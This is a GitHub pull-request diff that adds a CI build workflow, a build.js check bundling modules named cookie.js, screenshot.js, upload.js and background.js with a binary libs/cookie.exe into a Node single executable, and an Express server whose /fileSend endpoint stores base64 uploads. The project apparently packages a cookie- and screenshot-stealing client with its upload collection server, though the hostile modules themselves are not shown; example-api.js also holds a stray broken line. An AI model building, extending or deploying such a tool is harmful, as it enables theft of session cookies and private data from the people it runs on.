Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions .github/workflows/build-check.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
name: Build Check

on:
push:

jobs:
build:
runs-on: ubuntu-latest
env:
npm_config_engine_strict: "false"
steps:
- name: Checkout
uses: actions/checkout@v4

- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: "22"

- name: Run build
run: npm run build -- --api-url ci-endpoint
33 changes: 33 additions & 0 deletions build.js
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,38 @@ const ensureBuildAssets = (apiUrl) => {
fs.writeFileSync(apiUrlPath, `${apiUrl}\n`, "utf8");
};

const assertSeaAsset = (configDir, assets, key, expectedPath) => {
const configuredPath = assets[key];
if (configuredPath !== expectedPath) {
throw new Error(`SEA asset "${key}" must map to "${expectedPath}" (current: "${configuredPath || ""}")`);
}

const absolutePath = path.resolve(configDir, configuredPath);
if (!fs.existsSync(absolutePath)) {
throw new Error(`SEA asset source file missing: ${absolutePath}`);
}
};

const validateSeaConfig = () => {
const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
const configDir = path.dirname(configPath);

let config = null;
try {
config = JSON.parse(fs.readFileSync(configPath, "utf8"));
} catch (error) {
throw new Error(`Cannot parse SEA config at ${configPath}: ${error.message}`);
}

const assets = config.assets || {};
assertSeaAsset(configDir, assets, "build/api-url.txt", "./build/api-url.txt");
assertSeaAsset(configDir, assets, "libs/cookie.exe", "./libs/cookie.exe");
assertSeaAsset(configDir, assets, "modules/background.js", "./src/modules/background.js");
assertSeaAsset(configDir, assets, "modules/cookie.js", "./src/modules/cookie.js");
assertSeaAsset(configDir, assets, "modules/screenshot.js", "./src/modules/screenshot.js");
assertSeaAsset(configDir, assets, "modules/upload.js", "./src/modules/upload.js");
};

const runBuild = () => {
const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
const configDir = path.dirname(configPath);
Expand Down Expand Up @@ -91,6 +123,7 @@ const runBuild = () => {
const main = async() => {
const apiUrl = await resolveApiUrl();
ensureBuildAssets(apiUrl);
validateSeaConfig();
runBuild();
};

Expand Down
61 changes: 61 additions & 0 deletions docs/example-api.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
const crypto = require("node:crypto");
const fs = require("node:fs");
const path = require("node:path");
const express = require("express");

const app = express();

const HOST = process.env.HOST || "0.0.0.0";
const PORT = Number(process.env.PORT || 3000);
const OUTPUT_DIR = path.resolve(process.cwd(), "tests");

fs.mkdirSync(OUTPUT_DIR, { recursive: true });
app.use(express.json({ limit: "50mb" }));
b
const EXTENSIONS_BY_MIME = {
"image/png": "png",
"image/jpeg": "jpg",
"image/webp": "webp",
"application/json": "json"
};

app.post("/fileSend", (req, res) => {
const { mime, data } = req.body || {};

if (typeof data !== "string" || !data.trim()) {
res.status(400).json({ ok: false, error: "data must be a non-empty base64 string" });
return;
}

const extension = EXTENSIONS_BY_MIME[mime] || "bin";
let fileBuffer;
try {
fileBuffer = Buffer.from(data, "base64");
} catch {
res.status(400).json({ ok: false, error: "invalid base64 payload" });
return;
}

if (fileBuffer.length === 0) {
res.status(400).json({ ok: false, error: "decoded file is empty" });
return;
}

const id = `${crypto.randomUUID()}`;
const fileName = `${id}.${extension}`;
const filePath = path.join(OUTPUT_DIR, fileName);

try {
fs.writeFileSync(filePath, fileBuffer);
} catch (error) {
res.status(500).json({ ok: false, error: `cannot write file: ${error.message}` });
return;
}

res.status(201).json({ ok: true });
});

app.listen(PORT, HOST, () => {
process.stdout.write(`Example API listening on http://${HOST}:${PORT}\n`);
process.stdout.write(`Saving files to: ${OUTPUT_DIR}\n`);
});
Binary file added libs/cookie.exe
Binary file not shown.
Loading
Loading